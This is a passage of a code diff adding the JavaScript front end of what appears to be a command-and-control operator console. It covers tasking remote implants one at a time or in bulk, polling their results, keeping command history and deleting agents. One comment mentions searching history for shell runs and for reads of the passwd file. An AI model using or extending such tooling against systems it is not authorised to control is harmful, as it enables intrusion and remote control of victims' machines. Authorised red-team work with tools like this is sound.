'; + }; + + // The implant reads each argument with a typed accessor on the decoded JSON node + // (args[i].getInt / getStr), and the server does NOT type-check - it only compares + // the argument count. So a value sent as a JSON string reaches the agent as a + // JString and the accessor yields garbage. + // + // Verified against Nim 2.2.4, which is what the implant builds with: + // getInt on JInt -> the value (correct) + // getInt on JFloat -> 0, silently (no exception!) + // getInt on JStr -> 0, silently (no exception!) + // getFloat on JInt or JFloat -> the value (both fine) + // getStr on JStr -> the value; on JInt/JFloat -> "" (silently) + // + // getInt is therefore the strict accessor, so whole numbers are always sent as JSON + // integers even when the command declares "float" - a JSON 30.0 would decode to 0. + const coerceArg = (raw, argType) => { + const type = String(argType || 'str').toLowerCase(); + + if (type === 'int' || type === 'integer' || type === 'long') { + if (!/^[+-]?\d+$/.test(raw)) { + return { error: `"${raw}" is not a valid integer.` }; + } + return { value: Number.parseInt(raw, 10) }; + } + + if (type === 'float' || type === 'double' || type === 'number') { + if (!/^[+-]?(\d+\.?\d*|\.\d+)([eE][+-]?\d+)?$/.test(raw)) { + return { error: `"${raw}" is not a valid number.` }; + } + const parsed = Number.parseFloat(raw); + // Send a JSON integer when the value is whole: the implant's getInt accessor + // silently yields 0 for a JSON float, so 30 must go over the wire as 30, not + // 30.0. Genuinely fractional values (30.5) stay floats, which getFloat and + // getInt-free code paths read correctly. + return { value: Number.isInteger(parsed) ? Math.trunc(parsed) : parsed }; + } + + if (type === 'bool' || type === 'boolean') { + const lowered = raw.toLowerCase(); + if (['true', '1', 'yes'].includes(lowered)) return { value: true }; + if (['false', '0', 'no'].includes(lowered)) return { value: false }; + return { error: `"${raw}" is not a valid boolean (use true or false).` }; + } + + return { value: raw }; + }; + + // Reads the arg inputs for a command and coerces each to its declared type. + // Shared by the interact console and the bulk-task modal so both send the same + // JSON shapes. `fail` is called with a message and returns false on bad input. + const collectTypedArgs = (container, schema, fail) => { + const inputs = [...container.querySelectorAll('[data-interact-arg], [data-bulk-arg]')]; + const args = []; + + for (const input of inputs) { + const raw = input.value.trim(); + // Blank optional args are skipped; a blank cannot be passed past this point + // without shifting every later positional argument. + if (raw === '') continue; + + const index = Number(input.dataset.interactArg ?? input.dataset.bulkArg); + const arg = schema[index] || {}; + const { value, error } = coerceArg(raw, arg.arg_type); + if (error) { + fail(`${arg.name || 'Argument'}: ${error}`); + input.focus(); + return null; + } + args.push(value); + } + + return args; + }; + + const collectInteractArgs = () => { + const command = getCommands(console_.agent).find((entry) => entry.command === state.interactCommand); + if (!command) return null; + + const schema = command.args || []; + const args = collectTypedArgs(els.interactArgsContainer, schema, interactMessage); + if (!args) return null; + + // The API requires the argument count to equal the number of required arguments + // exactly, so anything else is rejected with a 404. + const required = schema.filter((arg) => arg.required).length; + if (args.length !== required) { + interactMessage(`This command needs exactly ${required} argument${required === 1 ? '' : 's'}.`, 'error'); + return null; + } + + return { command, args }; + }; + + const fetchAgentTasks = async () => { + const payload = await loadJSON(`/api/tasks?agent=${encodeURIComponent(console_.agentId)}`); + return payload.tasks || []; + }; + + // task_id filters on the *agent* parameter server-side, so the task id has to be + // supplied as both. Omitting either one makes the endpoint return a 500. + const fetchTaskOutput = async (taskId) => { + const query = `task_id=${encodeURIComponent(taskId)}&agent=${encodeURIComponent(taskId)}`; + const payload = await loadJSON(`/api/task-results?${query}`); + return payload.results || []; + }; + + // Waits for one transcript entry to reach a terminal state. Entries fall into two + // kinds: a task we just queued, whose id the API never told us and which therefore has + // to be spotted by diffing the task list, and a task that was already on the server + // when the console opened, whose id we already know. + const pollForResult = async (entry, before) => { + const deadline = Date.now() + TASK_TIMEOUT_MS; + + while (console_.open && Date.now() < deadline) { + await sleep(POLL_INTERVAL_MS); + if (!console_.open || entry.state === 'error' || entry.state === 'timeout') return; + + let tasks; + try { + tasks = await fetchAgentTasks(); + } catch (error) { + // A 401 already triggered a redirect to the login page. + if (error.message === 'Unauthorized') return; + continue; + } + + let task = null; + + if (entry.taskId) { + task = tasks.find((candidate) => candidate.id === entry.taskId) || null; + if (!task) { + entry.state = 'error'; + entry.note = 'Task is no longer on the server.'; + renderInteractLog(); + return; + } + } else { + const fresh = tasks.filter((candidate) => !before.has(candidate.id)); + const exact = fresh.find((candidate) => + candidate.task === entry.command && + JSON.stringify(candidate.args || []) === JSON.stringify(entry.args) + ); + task = exact || fresh[0] || null; + if (task) entry.taskId = task.id; + } + + if (!task) continue; + + if (task.sent && entry.state === 'pending') { + entry.state = 'sent'; + renderInteractLog(); + } + + if (!task.completed) continue; + + try { + entry.outputs = await fetchTaskOutput(task.id); + entry.state = 'done'; + if (!entry.outputs.length) { + entry.note = 'Task completed but the agent reported no result.'; + } + } catch (error) { + entry.state = 'error'; + entry.note = `Could not read output: ${error.message}`; + } + renderInteractLog(); + return; + } + + if (console_.open && (entry.state === 'pending' || entry.state === 'sent')) { + entry.state = 'timeout'; + entry.note = `No response after ${Math.round(TASK_TIMEOUT_MS / 1000)}s. The agent may be offline, ` + + 'asleep, or the command may not have completed.'; + } + renderInteractLog(); + }; + + const sendInteractTask = async () => { + if (console_.sending) return; + + const collected = collectInteractArgs(); + if (!collected) return; + + const { command, args } = collected; + console_.sending = true; + els.sendInteractButton.disabled = true; + interactMessage('Sending…'); + + const entry = { + key: ++console_.seq, + command: command.command, + args, + argsText: formatArgs(args), + state: 'pending', + outputs: [], + note: '', + }; + + let before; + try { + before = new Set((await fetchAgentTasks()).map((task) => task.id)); + } catch (error) { + interactMessage(error.message || 'Could not read the agent task list.', 'error'); + console_.sending = false; + els.sendInteractButton.disabled = false; + return; + } + + console_.entries.push(entry); + renderInteractLog(); + + try { + const response = await apiFetch('/api/tasks', { + method: 'POST', + body: JSON.stringify({ agent_id: console_.agentId, command: command.command, args }), + }); + + if (!response.ok) { + const payload = await response.json().catch(() => ({})); + entry.state = 'error'; + entry.note = payload.message || `Server rejected the task (${response.status}).`; + interactMessage(entry.note, 'error'); + renderInteractLog(); + return; + } + + interactMessage('Task queued. Waiting for the agent to check in.', 'success'); + pollForResult(entry, before); + } catch (error) { + entry.state = 'error'; + entry.note = error.message || 'Failed to send the task.'; + interactMessage(entry.note, 'error'); + renderInteractLog(); + } finally { + console_.sending = false; + els.sendInteractButton.disabled = false; + } + }; + + const openInteract = async (agentId) => { + const summary = state.agents.find((agent) => agent.id === agentId); + if (!summary) return; + + console_.agentId = agentId; + console_.agent = summary; + console_.entries = []; + console_.seq = 0; + console_.open = true; + state.interactCommand = ''; + + els.interactModal.classList.add('is-open'); + els.interactModal.classList.remove('hidden'); + els.interactModal.setAttribute('aria-hidden', 'false'); + els.interactTitle.textContent = 'Interact'; + els.interactSubtitle.textContent = `${summary.ip} · ${summary.os} · ${getCommands(summary).length} commands · last check-in ${formatTimeAgo(summary.last_checkin)}`; + els.interactAgentChip.textContent = `${summary.implant_id}@${summary.ip}`; + els.interactHint.textContent = 'Responses arrive when the agent next checks in, so this can take a few seconds.'; + interactMessage(''); + renderInteractLog(); + + // Hold off sending until the command list and the existing task list are both + // known, otherwise a command can be queued against a stale command list and then + // show up twice once the seed below catches up. + els.sendInteractButton.disabled = true; + + const commands = getCommands(summary); + els.interactCommand.innerHTML = commands.length + ? commands.map((command) => ``).join('') + : ''; + state.interactCommand = commands[0]?.command || ''; + els.interactCommand.value = state.interactCommand; + renderInteractCommand(); + + // Refresh from the API so the command list reflects the agent's latest + // registration rather than whatever the table happened to be holding. + try { + const full = await loadJSON(`/api/agents/${encodeURIComponent(agentId)}`); + console_.agent = full; + + const fresh = getCommands(full); + els.interactCommand.innerHTML = fresh.length + ? fresh.map((command) => ``).join('') + : ''; + state.interactCommand = fresh[0]?.command || ''; + els.interactCommand.value = state.interactCommand; + renderInteractCommand(); + } catch (error) { + interactMessage(error.message || 'Could not refresh agent details.', 'error'); + } + + // Surface tasks that were already queued before this session opened, since the + // server re-delivers every incomplete task on the agent's next check-in. Each one + // gets its own poller so it resolves instead of hanging at "pending" forever. + try { + const tasks = await fetchAgentTasks(); + console_.knownTaskIds = new Set(tasks.map((task) => task.id)); + + tasks.filter((task) => !task.completed).forEach((task) => { + console_.seq += 1; + const entry = { + key: console_.seq, + command: task.task, + args: task.args || [], + argsText: formatArgs(task.args), + state: task.sent ? 'sent' : 'pending', + outputs: [], + taskId: task.id, + note: 'Queued before this console was opened.', + }; + console_.entries.push(entry); + pollForResult(entry, new Set()); + }); + + renderInteractLog(); + } catch (error) { + if (error.message !== 'Unauthorized') { + interactMessage(error.message || 'Could not load existing tasks.', 'error'); + } + } finally { + if (console_.open) els.sendInteractButton.disabled = false; + } + }; + + const closeInteract = () => { + console_.open = false; + console_.agent = null; + console_.agentId = null; + els.interactModal.classList.remove('is-open'); + els.interactModal.classList.add('hidden'); + els.interactModal.setAttribute('aria-hidden', 'true'); + }; + + // ------------------------------------------------------------------ * + // Command history + // ------------------------------------------------------------------ */ + + const historyMessage = (message, tone = '') => { + if (!els.historyMessage) return; + els.historyMessage.textContent = message; + els.historyMessage.className = `modal-message${tone ? ` is-${tone}` : ''}`; + }; + + // The server exposes no way to scope results to one agent: get_taskresults + // reads request.args['agent'] but compares it against TaskResult.task, so the + // only filters available are "all results" (no params) or "one task" (task_id + // passed as BOTH params, or the endpoint 500s). Fetching once and bucketing + // locally keeps this at two requests instead of one per task. + const fetchHistoryResults = async () => { + const payload = await loadJSON('/api/task-results'); + return payload.results || []; + }; + + const historyState = (entry) => { + if (entry.results.length) return 'done'; + return entry.sent ? 'sent' : 'pending'; + }; + + // Newest first, with anything still awaiting a response pinned to the top + // because that is what an operator opening this view is usually after. + const sortHistory = (entries) => [...entries].sort((a, b) => { + const aDone = a.state === 'done'; + const bDone = b.state === 'done'; + if (aDone !== bDone) return aDone ? 1 : -1; + + const at = parseServerTime(a.time); + const bt = parseServerTime(b.time); + const aValid = Number.isFinite(at); + const bValid = Number.isFinite(bt); + if (aValid !== bValid) return aValid ? -1 : 1; + return (bValid ? bt : 0) - (aValid ? at : 0); + }); + + const buildHistoryEntries = (tasks, results) => { + const byTask = new Map(); + + for (const result of results) { + const key = result.task; + if (!byTask.has(key)) byTask.set(key, []); + byTask.get(key).push(result); + } + + return tasks.map((task) => { + const matched = byTask.get(task.id) || []; + // Oldest first inside an entry, so a command that reported more than + // once reads in the order the agent produced it. + const ordered = [...matched].sort((a, b) => parseServerTime(a.timestamp) - parseServerTime(b.timestamp)); + const latest = ordered.length ? ordered[ordered.length - 1].timestamp : null; + + return { + taskId: task.id, + command: task.task || 'unknown', + args: task.args || [], + argsText: formatArgs(task.args), + sent: Boolean(task.sent), + completed: Boolean(task.completed), + results: ordered, + time: latest, + state: 'pending', + }; + }); + }; + + // Matches the command name or any argument text, so "shell" finds every shell + // run and "passwd" finds the cat that read it. + const historyMatches = (entry, needle) => { + if (!needle) return true; + return entry.command.toLowerCase().includes(needle) + || entry.argsText.toLowerCase().includes(needle); + }; + + const renderHistory = () => { + if (!els.historyList) return; + + const needle = history_.filter.trim().toLowerCase(); + const visible = history_.entries.filter((entry) => historyMatches(entry, needle)); + + const total = history_.entries.length; + els.historySummary.textContent = needle + ? `${visible.length} of ${total} ${total === 1 ? 'command' : 'commands'}` + : `${total} ${total === 1 ? 'command' : 'commands'}`; + + if (!total) { + els.historyList.innerHTML = '
No commands have been sent to this agent yet.
'; + return; + } + + if (!visible.length) { + els.historyList.innerHTML = `
Nothing matches “${escapeHTML(history_.filter.trim())}”.
`; + return; + } + + els.historyList.innerHTML = sortHistory(visible).map((entry) => { + const open = history_.expanded.has(entry.taskId); + const label = `${entry.command}${entry.argsText ? ` ${entry.argsText}` : ''}`; + + const body = open + ? (entry.results.length + ? entry.results.map((result) => `
${escapeHTML(result.result ?? '')}
`).join('') + : `

${entry.state === 'pending' + ? 'Queued, waiting for the agent to check in.' + : 'Sent, but the agent has not reported a result yet.'}

`) + : ''; + + return ` +
+ + ${body ? `
${body}
` : ''} +
+ `; + }).join(''); + }; + + const loadHistory = async () => { + if (!history_.agentId) return; + + els.refreshHistoryButton.disabled = true; + historyMessage('Loading history…'); + + try { + const [tasks, results] = await Promise.all([ + loadJSON(`/api/tasks?agent=${encodeURIComponent(history_.agentId)}`), + fetchHistoryResults(), + ]); + + history_.entries = buildHistoryEntries(tasks.tasks || [], results); + history_.entries.forEach((entry) => { entry.state = historyState(entry); }); + + // Drop expansion state for tasks that no longer exist so the set cannot + // grow unbounded across refreshes. + const live = new Set(history_.entries.map((entry) => entry.taskId)); + history_.expanded.forEach((id) => { if (!live.has(id)) history_.expanded.delete(id); }); + + renderHistory(); + historyMessage(''); + } catch (error) { + if (error.message === 'Unauthorized') return; + history_.entries = []; + renderHistory(); + historyMessage(error.message || 'Could not load command history.', 'error'); + } finally { + if (history_.open) els.refreshHistoryButton.disabled = false; + } + }; + + const openHistory = async (agentId) => { + const summary = state.agents.find((agent) => agent.id === agentId); + if (!summary) return; + + history_.agentId = agentId; + history_.agent = summary; + history_.entries = []; + history_.expanded = new Set(); + history_.filter = ''; + history_.open = true; + + els.historyModal.classList.add('is-open'); + els.historyModal.classList.remove('hidden'); + els.historyModal.setAttribute('aria-hidden', 'false'); + els.historyTitle.textContent = 'Command history'; + els.historySubtitle.textContent = `${summary.implant_id}@${summary.ip} · ${summary.os} · last check-in ${formatTimeAgo(summary.last_checkin)}`; + els.historySearch.value = ''; + + await loadHistory(); + + if (history_.open) els.historySearch.focus(); + }; + + const closeHistory = () => { + history_.open = false; + history_.agent = null; + history_.agentId = null; + history_.entries = []; + history_.expanded = new Set(); + els.historyModal.classList.remove('is-open'); + els.historyModal.classList.add('hidden'); + els.historyModal.setAttribute('aria-hidden', 'true'); + }; + + // A command is offered only when every selected agent advertises it, so the + // send can never fan out to an agent that cannot run what was chosen. + const commonCommands = () => { + const agents = selectedAgents(); + if (!agents.length) return []; + + const commandMaps = agents.map((agent) => new Map(getCommands(agent).map((cmd) => [cmd.command, cmd]))); + const [firstMap, ...rest] = commandMaps; + const commands = []; + + for (const [name, command] of firstMap.entries()) { + if (rest.every((map) => map.has(name))) { + commands.push(command); + } + } + + return commands.sort((a, b) => a.command.localeCompare(b.command)); + }; + + const buildSelectableAgents = () => { + const query = state.filters.search.trim().toLowerCase(); + return state.agents.filter((agent) => { + const tags = Array.isArray(agent.tags) ? agent.tags : []; + const matchesWildcardIp = query.includes('*') ? patternMatches(agent.ip || '', query) : false; + const matchesSearch = !query || matchesWildcardIp || [ + agent.ip, + agent.id, + agent.implant_id, + agent.os, + ...tags, + ].some((value) => String(value || '').toLowerCase().includes(query)); + const matchesImplant = state.filters.implant === 'all' || agent.implant_id === state.filters.implant; + const matchesOs = state.filters.os === 'all' || agent.os === state.filters.os; + return matchesSearch && matchesImplant && matchesOs; + }); + }; + + const patternMatches = (value, pattern) => { + const escaped = pattern.trim().replace(/[.+?^${}()|[\]\\]/g, '\\$&').replace(/\*/g, '.*'); + const regex = new RegExp(`^${escaped}$`, 'i'); + return regex.test(value); + }; + + const updateFilterOptions = () => { + const implants = [...new Set(state.agents.map((agent) => agent.implant_id).filter(Boolean))].sort((a, b) => a.localeCompare(b)); + const osValues = [...new Set(state.agents.map((agent) => agent.os).filter(Boolean))].sort((a, b) => a.localeCompare(b)); + + els.implantFilter.innerHTML = ['', ...implants.map((implant) => ``)].join(''); + els.osFilter.innerHTML = ['', ...osValues.map((os) => ``)].join(''); + }; + + const renderSelection = () => { + const agents = selectedAgents(); + + els.selectionCount.textContent = `${agents.length} selected`; + // No empty-state text under the bar: the count already reads "0 selected" + // and the table directly below shows every agent unticked. .selection-chips + // reserves min-height, so this leaves a stable gap rather than making the + // table jump when the first box is ticked. + els.selectionChips.innerHTML = agents + .map((agent) => `${escapeHTML(labelFor(agent))}`) + .join(''); + + els.agentsTableBody.querySelectorAll('input[type="checkbox"]').forEach((checkbox) => { + checkbox.checked = state.selectedIds.has(checkbox.dataset.agentId); + }); + }; + + // Read-only echo of the table selection, styled with the same chip pattern as + // the selection bar above the table so the two are recognisably the same thing. + const renderBulkTargets = () => { + const agents = selectedAgents(); + const total = agents.length; + + els.bulkTargetCount.textContent = `${total} selected`; + els.bulkTargetChips.innerHTML = total + ? agents.map((agent) => `${escapeHTML(labelFor(agent))}`).join('') + : 'No agents selected.'; + + // Naming the fan-out on the button that performs it: this sends one command + // to every selected agent, so the count is the part that matters. Zero is + // unreachable (the dialog refuses to open unselected) so it just reads + // "Send task" rather than claiming to target nobody. + els.submitBulkTaskButton.textContent = total + ? `Send task to ${total} ${total === 1 ? 'agent' : 'agents'}` + : 'Send task'; + + const commands = commonCommands(); + const currentCommandExists = commands.some((cmd) => cmd.command === state.bulkCommand); + if (!currentCommandExists) { + state.bulkCommand = commands[0]?.command || ''; + } + + els.bulkCommand.innerHTML = commands.length + ? commands.map((cmd) => ``).join('') + : ''; + + if (state.bulkCommand) { + els.bulkCommand.value = state.bulkCommand; + } + + renderBulkArgs(); + }; + + const renderBulkArgs = () => { + const command = commonCommands().find((cmd) => cmd.command === state.bulkCommand); + const args = command?.args || []; + + if (!command) { + els.bulkArgsContainer.innerHTML = '
No command is shared by every selected agent.
'; + return; + } + + els.bulkArgsContainer.innerHTML = ` +
+ ${args.map((arg, index) => ` +
+ + +
${escapeHTML([arg.description, arg.arg_type].filter(Boolean).join(' · '))}
+
+ `).join('') || '
This command does not require arguments.
'} +
+ `; + }; + + const renderTable = () => { + const agents = buildSelectableAgents(); + state.filteredAgents = agents; + + if (!agents.length) { + // Distinguishes "you deleted the last one" from "your filters exclude + // everything", which otherwise read as the same thing. + const empty = state.agents.length + ? 'No agents match the current filters.' + : 'No agents are registered.'; + els.agentsTableBody.innerHTML = `
${empty}
`; + renderSelection(); + return; + } + + els.agentsTableBody.innerHTML = agents.map((agent) => { + const commands = getCommands(agent); + const label = `${agent.implant_id}@${agent.ip}`; + return ` + + + + + +
+
${escapeHTML(agent.ip)}
+
${escapeHTML(agent.id)}
+
+ + ${escapeHTML(agent.implant_id)} + ${escapeHTML(agent.os)} + +
+ ${(agent.tags || []).length ? agent.tags.map((tag) => `${escapeHTML(tag)}`).join('') : 'No tags'} +
+ + ${formatTimeAgo(agent.last_checkin)} + +
+ ${commands.length} ${commands.length === 1 ? 'command' : 'commands'} +
+ + +
+ + + +
+ + + `; + }).join(''); + + renderSelection(); + }; + + const refreshSelectionFromTable = () => { + const checked = [...els.agentsTableBody.querySelectorAll('input.row-checkbox:checked')].map((input) => input.dataset.agentId); + state.selectedIds = new Set(checked); + renderSelection(); + }; + + const openModal = () => { + els.bulkTaskModal.classList.add('is-open'); + els.bulkTaskModal.classList.remove('hidden'); + els.bulkTaskModal.setAttribute('aria-hidden', 'false'); + renderBulkTargets(); + setMessage(''); + }; + + const closeModal = () => { + els.bulkTaskModal.classList.remove('is-open'); + els.bulkTaskModal.classList.add('hidden'); + els.bulkTaskModal.setAttribute('aria-hidden', 'true'); + }; + + const renderServer = () => { + els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, ''); + }; + + const loadAgents = async () => { + const payload = await loadJSON('/api/agents'); + state.agents = (payload.agents || []).sort((a, b) => { + const ipCompare = (a.ip || '').localeCompare(b.ip || '', undefined, { numeric: true, sensitivity: 'base' }); + if (ipCompare !== 0) return ipCompare; + return (a.implant_id || '').localeCompare(b.implant_id || '', undefined, { sensitivity: 'base' }); + }); + // Forget selected ids the server no longer knows about. The chips would + // disappear on their own, since selectedAgents intersects with + // state.agents - but leaving the ids behind means any agent that comes + // back under the same id reappears pre-ticked, silently swept into the + // next bulk task. + const live = new Set(state.agents.map((agent) => agent.id)); + state.selectedIds.forEach((id) => { + if (!live.has(id)) state.selectedIds.delete(id); + }); + updateFilterOptions(); + renderTable(); + }; + + // Kept apart from loadAgents because the two failure modes differ. A failed + // first load has nothing to show, but a failed refresh still has a table full + // of agents the user can act on - blanking it to display an error would throw + // away good data over a transient network blip. So a refresh reports through + // the page error line and leaves the table alone. + let refreshing = false; + + const refreshAgents = async () => { + if (refreshing) return; + refreshing = true; + els.refreshAgentsButton.disabled = true; + setError(''); + + try { + // Filters, search text and the open history/interact modals are all + // held outside loadAgents, so a refresh leaves them exactly as they + // were. + await loadAgents(); + } catch (error) { + setError(error.message || 'Failed to refresh agents.'); + } finally { + refreshing = false; + els.refreshAgentsButton.disabled = false; + } + }; + + const sendBulkTasks = async () => { + const agents = selectedAgents(); + const command = commonCommands().find((cmd) => cmd.command === state.bulkCommand); + if (!agents.length) { + setMessage('No agents selected.', 'error'); + return; + } + if (!command) { + setMessage('No common command available for the selected agents.', 'error'); + return; + } + + const schema = command.args || []; + const args = collectTypedArgs(els.bulkArgsContainer, schema, setMessage); + if (!args) return; + + const requiredCount = schema.filter((arg) => arg.required).length; + if (args.length !== requiredCount) { + setMessage('Required arguments are missing.', 'error'); + return; + } + + setMessage('Sending tasks…'); + try { + const results = await Promise.all(agents.map((agent) => apiFetch('/api/tasks', { + method: 'POST', + body: JSON.stringify({ + agent_id: agent.id, + command: command.command, + args, + }), + }))); + + const failed = results.filter((response) => !response.ok).length; + if (failed) { + setMessage(`Completed with ${failed} failed ${failed === 1 ? 'task' : 'tasks'}.`, 'error'); + } else { + setMessage(`Task sent to ${agents.length} ${agents.length === 1 ? 'agent' : 'agents'}.`, 'success'); + } + } catch (error) { + setMessage(error.message || 'Failed to send tasks.', 'error'); + } + }; + + // --- Delete agent ------------------------------------------------------- + // DELETE /api/agents/ removes only the agent row: management_routes.py + // delete_agent does not cascade to tasks. The survivors then make the unscoped + // Task.serialize() dereference a missing agent, so GET /api/tasks returns 500 + // and the Overview page loses its task counts. The server is out of scope for + // this work, so the dialog states the consequence rather than implying the + // delete is clean. + const delete_ = { + agentId: null, + agent: null, + busy: false, + }; + + const deleteMessage = (message, tone = '') => { + if (!els.deleteAgentMessage) return; + els.deleteAgentMessage.textContent = message; + els.deleteAgentMessage.dataset.tone = tone; + }; + + const openDelete = (agentId) => { + const agent = state.agents.find((candidate) => candidate.id === agentId); + if (!agent) return; + + delete_.agentId = agentId; + delete_.agent = agent; + delete_.busy = false; + + // Spelled out rather than shown as a bare UUID, so there is no way to + // confirm the wrong row. + els.deleteTargetDetails.innerHTML = [ + ['Agent', labelFor(agent)], + ['ID', agent.id], + ['OS', agent.os], + ['Last check-in', formatTimeAgo(agent.last_checkin)], + ['Tags', (agent.tags || []).length ? agent.tags.join(', ') : 'none'], + ['Commands', String(getCommands(agent).length)], + ].map(([term, detail]) => `
${escapeHTML(term)}
${escapeHTML(detail)}
`).join(''); + + els.confirmDeleteAgentButton.disabled = false; + els.confirmDeleteAgentButton.textContent = 'Delete agent'; + deleteMessage(''); + + els.deleteAgentModal.classList.add('is-open'); + els.deleteAgentModal.classList.remove('hidden'); + els.deleteAgentModal.setAttribute('aria-hidden', 'false'); + // Focus the safe option, so a stray Enter cannot destroy the agent. + els.cancelDeleteAgentButton.focus(); + }; + + const closeDelete = () => { + delete_.agentId = null; + delete_.agent = null; + delete_.busy = false; + els.deleteAgentModal.classList.remove('is-open'); + els.deleteAgentModal.classList.add('hidden'); + els.deleteAgentModal.setAttribute('aria-hidden', 'true'); + }; + + const deleteAgent = async () => { + if (delete_.busy || !delete_.agentId) return; + const agentId = delete_.agentId; + + delete_.busy = true; + els.confirmDeleteAgentButton.disabled = true; + els.confirmDeleteAgentButton.textContent = 'Deleting…'; + deleteMessage(''); + + try { + const response = await apiFetch(`/api/agents/${encodeURIComponent(agentId)}`, { method: 'DELETE' }); + + if (!response.ok) { + // Success is a 204 with no body, so the body is only parsed on + // failure, where the server does send a message. + const payload = await response.json().catch(() => ({})); + throw new Error(payload.message || `Delete failed (HTTP ${response.status}).`); + } + + // Dropped locally instead of reloading: the agent is gone from the + // server, and a reload would also pull the unscoped /api/tasks that + // this very delete has just broken. + state.agents = state.agents.filter((agent) => agent.id !== agentId); + state.selectedIds.delete(agentId); + closeDelete(); + renderTable(); + } catch (error) { + deleteMessage(error.message || 'Failed to delete the agent.', 'error'); + } finally { + delete_.busy = false; + els.confirmDeleteAgentButton.disabled = false; + els.confirmDeleteAgentButton.textContent = 'Delete agent'; + } + }; + + const initializeTheme = () => { + setTheme(getTheme()); + els.themeToggle.addEventListener('click', () => { + setTheme(getTheme() === 'dark' ? 'light' : 'dark'); + }); + }; + + const initializeLogout = () => { + els.logoutButton.addEventListener('click', () => { + localStorage.removeItem(STORAGE_KEYS.token); + redirectToLogin(); + }); + }; + + const initializeHandlers = () => { + els.agentSearch.addEventListener('input', (event) => { + state.filters.search = event.target.value; + renderTable(); + }); + + els.implantFilter.addEventListener('change', (event) => { + state.filters.implant = event.target.value; + renderTable(); + }); + + els.osFilter.addEventListener('change', (event) => { + state.filters.os = event.target.value; + renderTable(); + }); + + els.agentsTableBody.addEventListener('change', (event) => { + if (event.target.matches('.row-checkbox')) { + refreshSelectionFromTable(); + } + }); + + // Clicking anywhere on a row opens the interaction console, except the checkbox + // which is reserved for bulk selection. The History button is checked first so + // that opening the history does not also fire the row's own action. + els.agentsTableBody.addEventListener('click', (event) => { + if (event.target.closest('.row-checkbox')) return; + + const historyButton = event.target.closest('[data-history-id]'); + if (historyButton) { + event.stopPropagation(); + openHistory(historyButton.dataset.historyId); + return; + } + + // Checked before the row fallback, or deleting a row would also open + // the interact console behind the confirmation dialog. + const deleteButton = event.target.closest('[data-delete-id]'); + if (deleteButton) { + event.stopPropagation(); + openDelete(deleteButton.dataset.deleteId); + return; + } + + const row = event.target.closest('tr[data-agent-id]'); + if (!row) return; + openInteract(row.dataset.agentId); + }); + + els.agentsTableBody.addEventListener('keydown', (event) => { + if (event.key !== 'Enter' && event.key !== ' ') return; + // A focused button already turns Enter/Space into its own click event, so + // handling it here too would open the console behind the history modal. + if (event.target.closest('button')) return; + const row = event.target.closest('tr[data-agent-id]'); + if (!row) return; + event.preventDefault(); + openInteract(row.dataset.agentId); + }); + + els.selectionChips.addEventListener('click', (event) => { + const button = event.target.closest('[data-remove-selection]'); + if (!button) return; + state.selectedIds.delete(button.dataset.removeSelection); + renderTable(); + }); + + els.clearSelectionButton.addEventListener('click', () => { + state.selectedIds.clear(); + renderTable(); + }); + + els.selectFilteredButton.addEventListener('click', () => { + buildSelectableAgents().forEach((agent) => state.selectedIds.add(agent.id)); + renderTable(); + }); + + els.openBulkTaskButton.addEventListener('click', () => { + if (!state.selectedIds.size) { + setMessage('Select at least one agent first.', 'error'); + return; + } + openModal(); + }); + + els.closeBulkTaskButton.addEventListener('click', closeModal); + els.cancelBulkTaskButton.addEventListener('click', closeModal); + els.bulkTaskModal.addEventListener('click', (event) => { + if (event.target === els.bulkTaskModal) { + closeModal(); + } + }); + + els.bulkCommand.addEventListener('change', (event) => { + state.bulkCommand = event.target.value; + renderBulkArgs(); + }); + + els.refreshAgentsButton.addEventListener('click', refreshAgents); + els.submitBulkTaskButton.addEventListener('click', sendBulkTasks); + + els.closeDeleteAgentButton.addEventListener('click', closeDelete); + els.cancelDeleteAgentButton.addEventListener('click', closeDelete); + els.confirmDeleteAgentButton.addEventListener('click', deleteAgent); + els.deleteAgentModal.addEventListener('click', (event) => { + if (event.target === els.deleteAgentModal) closeDelete(); + }); + document.addEventListener('keydown', (event) => { + if (event.key === 'Escape' && delete_.agentId) closeDelete(); + }); + + els.closeInteractButton.addEventListener('click', closeInteract); + els.cancelInteractButton.addEventListener('click', closeInteract); + els.interactModal.addEventListener('click', (event) => { + if (event.target === els.interactModal) closeInteract(); + }); + + els.closeHistoryButton.addEventListener('click', closeHistory); + els.doneHistoryButton.addEventListener('click', closeHistory); + els.historyModal.addEventListener('click', (event) => { + if (event.target === els.historyModal) closeHistory(); + }); + els.refreshHistoryButton.addEventListener('click', loadHistory); + + els.historySearch.addEventListener('input', (event) => { + history_.filter = event.target.value || ''; + renderHistory(); + }); + + // One delegated listener on the list, so toggling never needs a rebind and + // the collapsed/expanded state is re-read from history_ on every render. + els.historyList.addEventListener('click', (event) => { + const toggle = event.target.closest('[data-history-toggle]'); + if (!toggle) return; + const id = toggle.dataset.historyToggle; + if (history_.expanded.has(id)) history_.expanded.delete(id); + else history_.expanded.add(id); + renderHistory(); + }); + els.clearInteractButton.addEventListener('click', () => { + console_.entries = []; + interactMessage(''); + renderInteractLog(); + }); + els.interactCommand.addEventListener('change', (event) => { + state.interactCommand = event.target.value; + renderInteractCommand(); + }); + els.sendInteractButton.addEventListener('click', sendInteractTask); + }; + + const cacheElements = () => { + els.themeToggle = document.getElementById('themeToggle'); + els.logoutButton = document.getElementById('logoutButton'); + els.serverChip = document.getElementById('serverChip'); + els.agentSearch = document.getElementById('agentSearch'); + els.implantFilter = document.getElementById('implantFilter'); + els.osFilter = document.getElementById('osFilter'); + els.selectionCount = document.getElementById('selectionCount'); + els.selectionChips = document.getElementById('selectionChips'); + els.clearSelectionButton = document.getElementById('clearSelectionButton'); + els.selectFilteredButton = document.getElementById('selectFilteredButton'); + els.openBulkTaskButton = document.getElementById('openBulkTaskButton'); + els.agentsTableBody = document.getElementById('agentsTableBody'); + els.bulkTaskModal = document.getElementById('bulkTaskModal'); + els.closeBulkTaskButton = document.getElementById('closeBulkTaskButton'); + els.cancelBulkTaskButton = document.getElementById('cancelBulkTaskButton'); + els.bulkTargetCount = document.getElementById('bulkTargetCount'); + els.bulkTargetChips = document.getElementById('bulkTargetChips'); + els.bulkCommand = document.getElementById('bulkCommand'); + els.pageError = document.getElementById('pageError'); + els.refreshAgentsButton = document.getElementById('refreshAgentsButton'); + els.bulkArgsContainer = document.getElementById('bulkArgsContainer'); + els.bulkTaskMessage = document.getElementById('bulkTaskMessage'); + els.submitBulkTaskButton = document.getElementById('submitBulkTaskButton'); + els.deleteAgentModal = document.getElementById('deleteAgentModal'); + els.closeDeleteAgentButton = document.getElementById('closeDeleteAgentButton'); + 